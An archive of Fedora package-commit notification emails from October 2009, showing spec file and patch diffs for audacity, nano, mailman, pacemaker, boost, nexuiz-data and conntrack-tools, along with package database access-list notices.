 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE audacity-1.3.9-libdir.patch ---
diff -Nur audacity-src-1.3.9-orig/src/effects/ladspa/LoadLadspa.cpp audacity-src-1.3.9/src/effects/ladspa/LoadLadspa.cpp
--- audacity-src-1.3.9-orig/src/effects/ladspa/LoadLadspa.cpp	2009-08-31 12:45:40.000000000 +0200
+++ audacity-src-1.3.9/src/effects/ladspa/LoadLadspa.cpp	2009-09-03 12:01:49.823505468 +0200
@@ -286,7 +286,7 @@
 
    #ifdef __WXGTK__
    wxGetApp().AddUniquePathToPathList(wxT(INSTALL_PREFIX) wxT("/ladspa"), pathList);
-   wxGetApp().AddUniquePathToPathList(wxT("/usr/local/lib/ladspa"), pathList);
+   wxGetApp().AddUniquePathToPathList(wxT("/usr/local/__RPM_LIB__/ladspa"), pathList);
    wxGetApp().AddUniquePathToPathList(wxT(LIBDIR) wxT("/ladspa"), pathList);
    #endif
 


Index: audacity.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacity/F-10/audacity.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- audacity.spec	13 May 2009 08:37:01 -0000	1.66
+++ audacity.spec	13 Oct 2009 11:24:12 -0000	1.67
@@ -1,27 +1,26 @@
 # Compile options:
 # --with mp3          : enable mp3 support
 
-%define tartopdir audacity-src-1.3.7
+%define tartopdir audacity-src-1.3.9
 
 Name: audacity
-Version: 1.3.7
-Release: 0.7.beta%{?dist}
+Version: 1.3.9
+Release: 0.3.beta%{?dist}
 Summary: Multitrack audio editor
 Group: Applications/Multimedia
 License: GPLv2
 URL: http://audacity.sourceforge.net
 
-Source0: http://downloads.sf.net/sourceforge/audacity/audacity-minsrc-1.3.7.tar.bz2
+Source0: http://downloads.sf.net/sourceforge/audacity/audacity-minsrc-%{version}.tar.bz2
 Source1: audacity.png
 Source2: audacity.desktop
 
 Patch1: audacity-1.3.7-libmp3lame-default.patch
-Patch2: audacity-1.3.7-libdir.patch
-Patch3: audacity-1.3.6-flac-import.patch
-Patch4: audacity-1.3.7-portaudio-non-mmap-alsa.patch
-Patch5: audacity-1.3.7-repeat.patch
+Patch2: audacity-1.3.9-libdir.patch
+Patch3: audacity-1.3.8-gsocket-conflict.patch
+Patch4: audacity-1.3.9-labeltrack-crash.patch
+Patch5: audacity-1.3.9-labelpopup.patch
 Patch6: audacity-1.3.7-vamp-1.3.patch
-Patch7: audacity-1.3.7-audiodevdefaults.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: alsa-lib-devel
@@ -32,6 +31,7 @@ BuildRequires: gettext
 BuildRequires: jack-audio-connection-kit-devel
 BuildRequires: ladspa-devel
 BuildRequires: libid3tag-devel
+BuildRequires: taglib-devel
 BuildRequires: libogg-devel
 BuildRequires: libsamplerate-devel
 BuildRequires: libsndfile-devel
@@ -69,13 +69,12 @@ do
 done
 grep -q -s __RPM_LIB * -R && exit 1
 
-%patch3 -p1 -b .dumb-flac-import
-%patch4 -p1 -b .pa-non-mmap-alsa
-%patch5 -p1 -b .repeat
+%patch3 -p1 -b .gsocket-conflict
+%patch4 -p1 -b .labeltrack-crash
+%patch5 -p1 -b .labelpopup
 %if 0%{?fedora} < 11
 %patch6 -p1 -b .vamp-1.3
 %endif
-%patch7 -p1 -b .audiodevdefaults
 
 # Substitute occurences of "libmp3lame.so" with "libmp3lame.so.0".
 for i in locale/*.po src/export/ExportMP3.cpp
@@ -110,6 +109,10 @@ cp %{SOURCE1} $RPM_BUILD_ROOT%{_datadir}
 
 make DESTDIR=${RPM_BUILD_ROOT} install
 
+# Audacity 1.3.8-beta complains if the help/manual directories
+# don't exist.
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/help/manual
+
 %{find_lang} %{name}
 
 rm -f $RPM_BUILD_ROOT%{_datadir}/applications/*.desktop
@@ -147,6 +150,34 @@ update-desktop-database &> /dev/null || 
 
 
 %changelog
+* Mon Sep 14 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.3.9-0.3.beta
+- add patch to fix LabelTrack popup
+
+* Sat Sep 12 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.3.9-0.2.beta
+- add wxGTK work-around patches to fix LabelTrack crash
+  (shall fix #520917 and similar race-conditions)
+
+* Thu Sep  3 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.3.9-0.1.beta
+- upgrade to 1.3.9-beta
+- upstream's changes in the device prefs code make the audiodevdefaults
+  patch unnecessary afaic see
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.8-0.3.beta
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Mon Jul 20 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.3.8-0.2.beta
+- glib2 2.21.1's gio in Rawhide F-12 introduces a GSocket that
+  conflicts with wxGTK's GSocket class (gsocket.h): as a work-around,
+  include less glib headers
+
+* Mon Jul 20 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.3.8-0.1.beta
+- upgrade to 1.3.8-beta
+- BR taglib-devel
+- patches merged/obsoleted upstream:
+  audacity-1.3.7-portaudio-non-mmap-alsa.patch
+  audacity-1.3.7-repeat.patch
+  audacity-1.3.6-flac-import.patch
+
 * Wed May 13 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.3.7-0.7.beta
 - retag up-to-date files and copy to F-10/F-11
 


--- audacity-1.3.6-flac-import.patch DELETED ---


--- audacity-1.3.7-audiodevdefaults.patch DELETED ---


--- audacity-1.3.7-libdir.patch DELETED ---



From mschwendt at fedoraproject.org  Tue Oct 13 11:26:29 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Tue, 13 Oct 2009 11:26:29 +0000 (UTC)
Subject: rpms/audacity/F-10 audacity-1.3.7-portaudio-non-mmap-alsa.patch, 1.2,
	NONE audacity-1.3.7-repeat.patch, 1.1, NONE
Message-ID: <20091013112629.985C911C00E8@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacity/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1525

Removed Files:
	audacity-1.3.7-portaudio-non-mmap-alsa.patch 
	audacity-1.3.7-repeat.patch 
Log Message:
remove two more obsolete patches


--- audacity-1.3.7-portaudio-non-mmap-alsa.patch DELETED ---


--- audacity-1.3.7-repeat.patch DELETED ---



From kdudka at fedoraproject.org  Tue Oct 13 11:37:22 2009
From: kdudka at fedoraproject.org (Kamil Dudka)
Date: Tue, 13 Oct 2009 11:37:22 +0000 (UTC)
Subject: rpms/nano/devel nanorc, NONE, 1.1 nano-2.0.9-warnings.patch, 1.1,
	1.2 nano.spec, 1.30, 1.31
Message-ID: <20091013113722.41AA611C00E8@cvs1.fedora.phx.redhat.com>

Author: kdudka

Update of /cvs/extras/rpms/nano/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3972

Modified Files:
	nano-2.0.9-warnings.patch nano.spec 
Added Files:
	nanorc 
Log Message:
- disable line wrapping by default (#528359)


--- NEW FILE nanorc ---
# This is a system-wide configuration file for the nano editor. Each user can
# save his own configuration to ~/.nanorc
#
# See the nanorc(5) man page for details.

# disable line wrapping by default
set nowrap

nano-2.0.9-warnings.patch:
 nano-2.0.9/src/chars.c |   43 ++++++++++++++++++++++++++++---------------
 nano-2.0.9/src/files.c |    4 +++-
 nano-2.0.9/src/nano.h  |    3 +++
 src/chars.c            |    9 +++------
 src/files.c            |    4 +---
 5 files changed, 38 insertions(+), 25 deletions(-)

Index: nano-2.0.9-warnings.patch
===================================================================
RCS file: /cvs/extras/rpms/nano/devel/nano-2.0.9-warnings.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- nano-2.0.9-warnings.patch	21 Sep 2009 13:50:12 -0000	1.1
+++ nano-2.0.9-warnings.patch	13 Oct 2009 11:37:21 -0000	1.2
@@ -175,3 +175,67 @@ diff -rup nano-2.0.9.orig/src/files.c na
  
  	    /* Free d_here, since we're done using it. */
  	    free(d_here);
+diff -rup nano-2.0.9.orig/src/chars.c nano-2.0.9/src/chars.c
+--- nano-2.0.9.orig/src/chars.c	2009-09-21 21:23:45.682379298 +0200
++++ nano-2.0.9/src/chars.c	2009-09-21 21:28:50.143093880 +0200
+@@ -81,14 +81,12 @@ bool is_byte(int c)
+ 
+ static void mbtowc_reset(void)
+ {
+-    int rv = mbtowc(NULL, NULL, 0);
+-    (void) rv;
++    IGNORE_CALL_RESULT(mbtowc(NULL, NULL, 0));
+ }
+ 
+ static void wctomb_reset(void)
+ {
+-    int rv = wctomb(NULL, 0);
+-    (void) rv;
++    IGNORE_CALL_RESULT(wctomb(NULL, 0));
+ }
+ 
+ /* This function is equivalent to isalnum() for multibyte characters. */
+@@ -400,8 +398,7 @@ int parse_mbchar(const char *buf, char *
+ 	/* If buf contains an invalid multibyte character, only
+ 	 * interpret buf's first byte. */
+ 	if (buf_mb_len < 0) {
+-	    int rv = mblen(NULL, 0);
+-	    (void) rv;
++	    IGNORE_CALL_RESULT(mblen(NULL, 0));
+ 	    buf_mb_len = 1;
+ 	} else if (buf_mb_len == 0)
+ 	    buf_mb_len++;
+diff -rup nano-2.0.9.orig/src/files.c nano-2.0.9/src/files.c
+--- nano-2.0.9.orig/src/files.c	2009-09-21 21:23:45.683422811 +0200
++++ nano-2.0.9/src/files.c	2009-09-21 21:29:11.684110349 +0200
+@@ -1057,7 +1057,6 @@ char *get_full_path(const char *origpath
+ 	    free(d_there);
+ 	    d_there = NULL;
+ 	} else {
+-	    int rv;
+ 	    free(d_there);
+ 
+ 	    /* Get the full path. */
+@@ -1083,8 +1082,7 @@ char *get_full_path(const char *origpath
+ 	    /* Finally, go back to the path specified in d_here,
+ 	     * where we were before.  We don't check for a chdir()
+ 	     * error, since we can do nothing if we get one. */
+-	    rv = chdir(d_here);
+-	    (void) rv;
++	    IGNORE_CALL_RESULT(chdir(d_here));
+ 
+ 	    /* Free d_here, since we're done using it. */
+ 	    free(d_here);
+diff -rup nano-2.0.9.orig/src/nano.h nano-2.0.9/src/nano.h
+--- nano-2.0.9.orig/src/nano.h	2008-04-02 05:49:33.000000000 +0200
++++ nano-2.0.9/src/nano.h	2009-09-21 21:27:50.795110162 +0200
+@@ -44,6 +44,9 @@
+ #include <sys/param.h>
+ #endif
+ 
++/* Suppress warnings for __attribute__((warn_unused_result)) */
++#define IGNORE_CALL_RESULT(call) do { if (call) {} } while(0)
++
+ /* Macros for flags. */
+ #define SET(bit) flags |= bit
+ #define UNSET(bit) flags &= ~bit


Index: nano.spec
===================================================================
RCS file: /cvs/extras/rpms/nano/devel/nano.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- nano.spec	21 Sep 2009 13:50:12 -0000	1.30
+++ nano.spec	13 Oct 2009 11:37:21 -0000	1.31
@@ -1,15 +1,16 @@
-Summary:	A small text editor
-Name:		nano
-Version:	2.0.9
-Release:	3%{?dist}
-License:	GPLv2+
-Group:		Applications/Editors
-URL:		http://www.nano-editor.org
-Source:		http://www.nano-editor.org/dist/v1.3/%{name}-%{version}.tar.gz
-Patch1:		nano-2.0.9-warnings.patch
-BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:	ncurses-devel, autoconf, gettext-devel, groff
-Requires(post):	 /sbin/install-info
+Summary:         A small text editor
+Name:            nano
+Version:         2.0.9
+Release:         4%{?dist}
+License:         GPLv2+
+Group:           Applications/Editors
+URL:             http://www.nano-editor.org
+Source:          http://www.nano-editor.org/dist/v1.3/%{name}-%{version}.tar.gz
+Source2:         nanorc
+Patch1:          nano-2.0.9-warnings.patch
+BuildRoot:       %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRequires:   ncurses-devel, autoconf, gettext-devel, groff
+Requires(post):  /sbin/install-info
 Requires(preun): /sbin/install-info
 
 %description
@@ -62,12 +63,17 @@ rm -rf %{buildroot}
 %doc doc/faq.html
 /bin/*
 %{_bindir}/*
+%config(noreplace) %{_sysconfdir}/nanorc
 %{_mandir}/man*/*
 %lang(fr) %{_mandir}/fr/man*/*
 %{_infodir}/nano.info*
 %{_datadir}/nano
 
 %changelog
+* Tue Oct 13 2009 Kamil Dudka <kdudka at redhat.com> - 2.0.9-4
+- ship a system-wide configuration file along with the nano package
+- disable line wrapping by default (#528359)
+
 * Mon Sep 21 2009 Kamil Dudka <kdudka at redhat.com> - 2.0.9-3
 - suppress warnings for __attribute__((warn_unused_result)) (#523951)
 



From dnovotny at fedoraproject.org  Tue Oct 13 11:39:07 2009
From: dnovotny at fedoraproject.org (Daniel Novotny)
Date: Tue, 13 Oct 2009 11:39:07 +0000 (UTC)
Subject: rpms/mailman/devel mailman-2.1.12-codage.patch, NONE,
	1.1 mailman.spec, 1.87, 1.88
Message-ID: <20091013113907.9E3BB11C00E8@cvs1.fedora.phx.redhat.com>

Author: dnovotny

Update of /cvs/extras/rpms/mailman/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4407

Modified Files:
	mailman.spec 
Added Files:
	mailman-2.1.12-codage.patch 
Log Message:
fix French translation, "coding" keyword must be untranslated (bz#528492)


mailman-2.1.12-codage.patch:
 mailman.po |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE mailman-2.1.12-codage.patch ---
diff -up mailman-2.1.12/messages/fr/LC_MESSAGES/mailman.po.codage mailman-2.1.12/messages/fr/LC_MESSAGES/mailman.po
--- mailman-2.1.12/messages/fr/LC_MESSAGES/mailman.po.codage	2009-10-13 13:29:59.000000000 +0200
+++ mailman-2.1.12/messages/fr/LC_MESSAGES/mailman.po	2009-10-13 13:30:35.000000000 +0200
@@ -9445,7 +9445,7 @@ msgid ""
 "## captured on %(when)s\n"
 msgstr ""
 "# -*- python -*-\n"
-"# -*- codage : %(charset)s -*-\n"
+"# -*- coding : %(charset)s -*-\n"
 "## Param?tres de configuration de la liste \"%(listname)s\"\n"
 "## Captur? le %(when)s\n"
 


Index: mailman.spec
===================================================================
RCS file: /cvs/extras/rpms/mailman/devel/mailman.spec,v
retrieving revision 1.87
retrieving revision 1.88
diff -u -p -r1.87 -r1.88
--- mailman.spec	7 Oct 2009 10:37:56 -0000	1.87
+++ mailman.spec	13 Oct 2009 11:39:07 -0000	1.88
@@ -1,7 +1,7 @@
 Summary: Mailing list manager with built in Web access
 Name: mailman
 Version: 2.1.12
-Release: 10%{?dist}
+Release: 11%{?dist}
 Epoch: 3
 Group: Applications/Internet
 Source0: ftp://ftp.gnu.org/pub/gnu/mailman/mailman-%{version}.tgz
@@ -33,6 +33,7 @@ Patch15: mailman-2.1.12-lctype.patch
 Patch16: mailman-2.1.12-privurl.patch
 Patch17: mailman-2.1.12-mmcfg.patch
 Patch18: mailman-2.1.12-initcleanup.patch
+Patch19: mailman-2.1.12-codage.patch
 
 License: GPLv2+
 URL: http://www.list.org/
@@ -120,6 +121,7 @@ additional installation steps, these are
 %patch16 -p1 -b .privurl
 %patch17 -p1 -b .mmcfg
 %patch18 -p1 -b .initcleanup
+%patch19 -p1
 
 #cp $RPM_SOURCE_DIR/mailman.INSTALL.REDHAT.in INSTALL.REDHAT.in
 cp %{SOURCE5} INSTALL.REDHAT.in
@@ -487,6 +489,9 @@ exit 0
 %attr(0755,root,root) %{_bindir}/mailman-update-cfg
 
 %changelog
+* Tue Oct 13 2009 Daniel Novotny <dnovotny at redhat.com> 3:2.1.12-11
+- fix French translation, "coding" keyword must be untranslated (bz#528492)
+
 * Wed Oct 07 2009 Daniel Novotny <dnovotny at redhat.com> 3:2.1.12-10
 - init script cleanup and fixes for LSB compliance (bz#524016)
 



From pkgdb at fedoraproject.org  Tue Oct 13 11:45:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:45:50 +0000
Subject: [pkgdb] astyle had acl change status
Message-ID: <20091013114550.9501910F875@bastion2.fedora.phx.redhat.com>

rishi has set the watchcommits acl on astyle (Fedora devel) to Approved for tomspur

To make changes to this package see:
  /pkgdb/packages/name/astyle



From pkgdb at fedoraproject.org  Tue Oct 13 11:45:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:45:56 +0000
Subject: [pkgdb] astyle had acl change status
Message-ID: <20091013114556.4438910F87F@bastion2.fedora.phx.redhat.com>

rishi has set the commit acl on astyle (Fedora devel) to Approved for tomspur

To make changes to this package see:
  /pkgdb/packages/name/astyle



From pkgdb at fedoraproject.org  Tue Oct 13 11:46:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:46:06 +0000
Subject: [pkgdb] astyle had acl change status
Message-ID: <20091013114606.EC85810F875@bastion2.fedora.phx.redhat.com>

rishi has set the commit acl on astyle (Fedora 12) to Approved for tomspur

To make changes to this package see:
  /pkgdb/packages/name/astyle



From pkgdb at fedoraproject.org  Tue Oct 13 11:46:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:46:18 +0000
Subject: [pkgdb] astyle had acl change status
Message-ID: <20091013114618.AFF6310F889@bastion2.fedora.phx.redhat.com>

rishi has set the watchcommits acl on astyle (Fedora 12) to Approved for tomspur

To make changes to this package see:
  /pkgdb/packages/name/astyle



From beekhof at fedoraproject.org  Tue Oct 13 11:53:31 2009
From: beekhof at fedoraproject.org (Andrew Beekhof)
Date: Tue, 13 Oct 2009 11:53:31 +0000 (UTC)
Subject: rpms/pacemaker/F-12 .cvsignore, 1.4, 1.5 pacemaker.spec, 1.6,
	1.7 sources, 1.4, 1.5
Message-ID: <20091013115331.E002011C00E8@cvs1.fedora.phx.redhat.com>

Author: beekhof

Update of /cvs/pkgs/rpms/pacemaker/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8717

Modified Files:
	.cvsignore pacemaker.spec sources 
Log Message:
Refresh from upstream


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pacemaker/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	17 Aug 2009 19:14:09 -0000	1.4
+++ .cvsignore	13 Oct 2009 11:53:31 -0000	1.5
@@ -1 +1 @@
-462f1569a437.tar.bz2
+38cd629e5c3c.tar.bz2


Index: pacemaker.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pacemaker/F-12/pacemaker.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- pacemaker.spec	21 Aug 2009 15:11:11 -0000	1.6
+++ pacemaker.spec	13 Oct 2009 11:53:31 -0000	1.7
@@ -7,9 +7,9 @@
 # When downloading directly from Mercurial, it will automatically add this prefix
 # Invoking 'hg archive' wont but you can add one with:
 # hg archive -t tgz -p "Pacemaker-1-0-" -r $upstreamversion $upstreamversion.tar.gz
-%global specversion 2
+%global specversion 3
 %global upstreamprefix Pacemaker-1-0-
-%global upstreamversion 462f1569a437
+%global upstreamversion 38cd629e5c3c
 
 # Keep around for when/if required
 #global alphatag %{upstreamversion}.hg
@@ -17,7 +17,7 @@
 Name:		pacemaker
 Summary:	Scalable High-Availability cluster resource manager
 Version:	1.0.5
-Release:	%{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}.1
+Release:	%{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}
 License:	GPLv2+ and LGPLv2+
 Url:		http://www.clusterlabs.org
 Group:		System Environment/Daemons
@@ -148,6 +148,7 @@ rm -rf %{buildroot}
 %dir %{_datadir}/doc/packages/pacemaker/templates
 
 %{_datadir}/pacemaker
+%{_datadir}/snmp/mibs/PCMK-MIB.txt
 %{_libdir}/heartbeat/*
 %{_sbindir}/cibadmin
 %{_sbindir}/crm_attribute
@@ -216,6 +217,30 @@ rm -rf %{buildroot}
 %doc AUTHORS
 
 %changelog
+* Wed Oct 13 2009 Andrew Beekhof <andrew at beekhof.net> - 1.0.5-3
+- Update the tarball from upstream to version 38cd629e5c3c
+  + High: Core: Bug lf#2169 - Allow dtd/schema validation to be disabled
+  + High: PE: Bug lf#2106 - Not all anonymous clone children are restarted after configuration change
+  + High: PE: Bug lf#2170 - stop-all-resources option had no effect
+  + High: PE: Bug lf#2171 - Prevent groups from starting if they depend on a complex resource which can't
+  + High: PE: Disable resource management if stonith-enabled=true and no stonith resources are defined
+  + High: PE: Don't include master score if it would prevent allocation
+  + High: ais: Avoid excessive load by checking for dead children every 1s (instead of 100ms)
+  + High: ais: Bug rh#525589 - Prevent shutdown deadlocks when running on CoroSync
+  + High: ais: Gracefully handle changes to the AIS nodeid
+  + High: crmd: Bug bnc#527530 - Wait for the transition to complete before leaving S_TRANSITION_ENGINE
+  + High: crmd: Prevent use-after-free with LOG_DEBUG_3
+  + Medium: xml: Mask the "symmetrical" attribute on rsc_colocation constraints (bnc#540672)
+  + Medium (bnc#520707): Tools: crm: new templates ocfs2 and clvm
+  + Medium: Build: Invert the disable ais/heartbeat logic so that --without (ais|heartbeat) is available to rpmbuild
+  + Medium: PE: Bug lf#2178 - Indicate unmanaged clones
+  + Medium: PE: Bug lf#2180 - Include node information for all failed ops
+  + Medium: PE: Bug lf#2189 - Incorrect error message when unpacking simple ordering constraint
+  + Medium: PE: Correctly log resources that would like to start but can't
+  + Medium: PE: Stop ptest from logging to syslog
+  + Medium: ais: Include version details in plugin name
+  + Medium: crmd: Requery the resource metadata after every start operation
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.0.5-2.1
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pacemaker/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	17 Aug 2009 19:14:09 -0000	1.4
+++ sources	13 Oct 2009 11:53:31 -0000	1.5
@@ -1 +1 @@
-2206d439eccd8794353ee798849f448d  462f1569a437.tar.bz2
+4dc13c8478dee77a7abc8b06e6d8c716  38cd629e5c3c.tar.bz2



From pmachata at fedoraproject.org  Tue Oct 13 12:02:57 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Tue, 13 Oct 2009 12:02:57 +0000 (UTC)
Subject: rpms/boost/devel boost.spec,1.66,1.67
Message-ID: <20091013120257.9462511C00E8@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/boost/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11068

Modified Files:
	boost.spec 
Log Message:
* Sun Oct 11 2009 Jitesh Shah <jiteshs at marvell.com> 1.39.0-6.fa1
- Disable long double support for ARM



Index: boost.spec
===================================================================
RCS file: /cvs/pkgs/rpms/boost/devel/boost.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- boost.spec	8 Sep 2009 15:02:02 -0000	1.66
+++ boost.spec	13 Oct 2009 12:02:57 -0000	1.67
@@ -1,7 +1,12 @@
+%define disable_long_double 0
+%ifarch %{arm}
+%define disable_long_double 1
+%endif
+
 Name: boost
 Summary: The Boost C++ Libraries
 Version: 1.39.0
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: Boost
 URL: http://www.boost.org/
 Group: System Environment/Libraries
@@ -244,7 +249,10 @@ REGEX_FLAGS="--with-icu"
 
 BUILD_VARIANTS="variant=release threading=single,multi debug-symbols=on"
 BUILD_FLAGS="-d2 --layout=system $BUILD_VARIANTS"
-$BJAM $BUILD_FLAGS %{?_smp_mflags} stage 
+%if %{disable_long_double}
+LONG_DOUBLE_FLAGS="--disable-long-double"
+%endif
+$BJAM $BUILD_FLAGS $LONG_DOUBLE_FLAGS %{?_smp_mflags} stage 
 
 # build docs, requires a network connection for docbook XSLT stylesheets
 %if %{with docs_generated}
@@ -438,6 +446,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.a
 
 %changelog
+* Sun Oct 11 2009 Jitesh Shah <jiteshs at marvell.com> 1.39.0-6.fa1
+- Disable long double support for ARM
+
 * Tue Sep 08 2009 Karsten Hopp <karsten at redhat.com> 1.39.0-6
 - bump release and rebuild as the package was linked with an old libicu 
   during the mass rebuild on s390x



From limb at fedoraproject.org  Tue Oct 13 12:05:21 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Tue, 13 Oct 2009 12:05:21 +0000 (UTC)
Subject: rpms/nexuiz-data/devel .cvsignore, 1.14, 1.15 nexuiz-data.spec, 1.19,
	1.20 sources, 1.15, 1.16
Message-ID: <20091013120521.25CE111C00E8@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/nexuiz-data/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11843

Modified Files:
	.cvsignore nexuiz-data.spec sources 
Log Message:
New upstream.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nexuiz-data/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	27 May 2009 12:02:48 -0000	1.14
+++ .cvsignore	13 Oct 2009 12:05:20 -0000	1.15
@@ -1 +1 @@
-nexuiz-data-2.5.1.tar
+nexuiz-data-2.5.2.tar


Index: nexuiz-data.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nexuiz-data/devel/nexuiz-data.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- nexuiz-data.spec	25 Jul 2009 19:17:03 -0000	1.19
+++ nexuiz-data.spec	13 Oct 2009 12:05:20 -0000	1.20
@@ -1,19 +1,19 @@
-%define datadate 20090501
+%define datadate 20091001
 
 Summary: Game data for the Nexuiz first person shooter
 Name: nexuiz-data
-Version: 2.5.1
-Release: 2%{?dist}
+Version: 2.5.2
+Release: 1%{?dist}
 License: GPLv2+
 Group: Amusements/Games
 URL: http://www.nexuiz.com/
 # Source is custom, obtained with :
-# wget  http://downloads.sourceforge.net/nexuiz/nexuiz-251.zip
-# unzip nexuiz-251.zip
-# mkdir nexuiz-data-2.5.1/
+# wget  http://downloads.sourceforge.net/nexuiz/nexuiz-252.zip
+# unzip nexuiz-252.zip
+# mkdir nexuiz-data-2.5.2/
 # mv Nexuiz/data/ Nexuiz/Docs/* \
-#    Nexuiz/gpl.txt nexuiz-data-2.5.1/
-# tar cvf nexuiz-data-2.5.1.tar nexuiz-data-2.5.1/
+#    Nexuiz/gpl.txt nexuiz-data-2.5.2/
+# tar cvf nexuiz-data-2.5.2.tar nexuiz-data-2.5.2/
 Source0: nexuiz-data-%{version}.tar
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -58,6 +58,9 @@ Data (textures, maps, sounds and models)
 %{_datadir}/nexuiz/
 
 %changelog
+* Mon Oct 12 2009 Jon Ciesla <limb at jcomserv.net> - 2.5.2-1
+- Update to 2.5.2, BZ 528356.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nexuiz-data/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	27 May 2009 12:02:49 -0000	1.15
+++ sources	13 Oct 2009 12:05:20 -0000	1.16
@@ -1 +1 @@
-aa489a20cdb2740bd6fa3433fc820f33  nexuiz-data-2.5.1.tar
+f698cd974a26a810594d36ed6f3579aa  nexuiz-data-2.5.2.tar



From stingray at fedoraproject.org  Tue Oct 13 12:12:46 2009
From: stingray at fedoraproject.org (Paul P Komkoff Jr)
Date: Tue, 13 Oct 2009 12:12:46 +0000 (UTC)
Subject: rpms/conntrack-tools/devel conntrack-tools.spec,1.12,1.13
Message-ID: <20091013121246.A0F5B11C00E8@cvs1.fedora.phx.redhat.com>

Author: stingray

Update of /cvs/extras/rpms/conntrack-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13932

Modified Files:
	conntrack-tools.spec 
Log Message:
conntrack-tools-0.9.13-1


Index: conntrack-tools.spec
===================================================================
RCS file: /cvs/extras/rpms/conntrack-tools/devel/conntrack-tools.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- conntrack-tools.spec	24 Jul 2009 19:26:59 -0000	1.12
+++ conntrack-tools.spec	13 Oct 2009 12:12:46 -0000	1.13
@@ -1,13 +1,13 @@
 Name:           conntrack-tools
-Version:        0.9.12
-Release: 	4%{?dist}
+Version:        0.9.13
+Release: 	1%{?dist}
 Summary:        Tools to manipulate netfilter connection tracking table
 Group:          System Environment/Base
 License:        GPLv2
 URL:            http://netfilter.org
 Source0:        http://netfilter.org/projects/%{name}/files/%{name}-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:  libnfnetlink-devel >= 0.0.40, libnetfilter_conntrack-devel >= 0.0.99
+BuildRequires:  libnfnetlink-devel >= 1.0.0, libnetfilter_conntrack-devel >= 0.0.100
 BuildRequires:	pkgconfig bison flex
 Provides:       conntrack = 1.0-1
 Obsoletes:      conntrack < 1.0-1
@@ -44,12 +44,15 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc ChangeLog COPYING AUTHORS INSTALL TODO
+%doc COPYING AUTHORS INSTALL TODO doc
 %{_sbindir}/conntrack
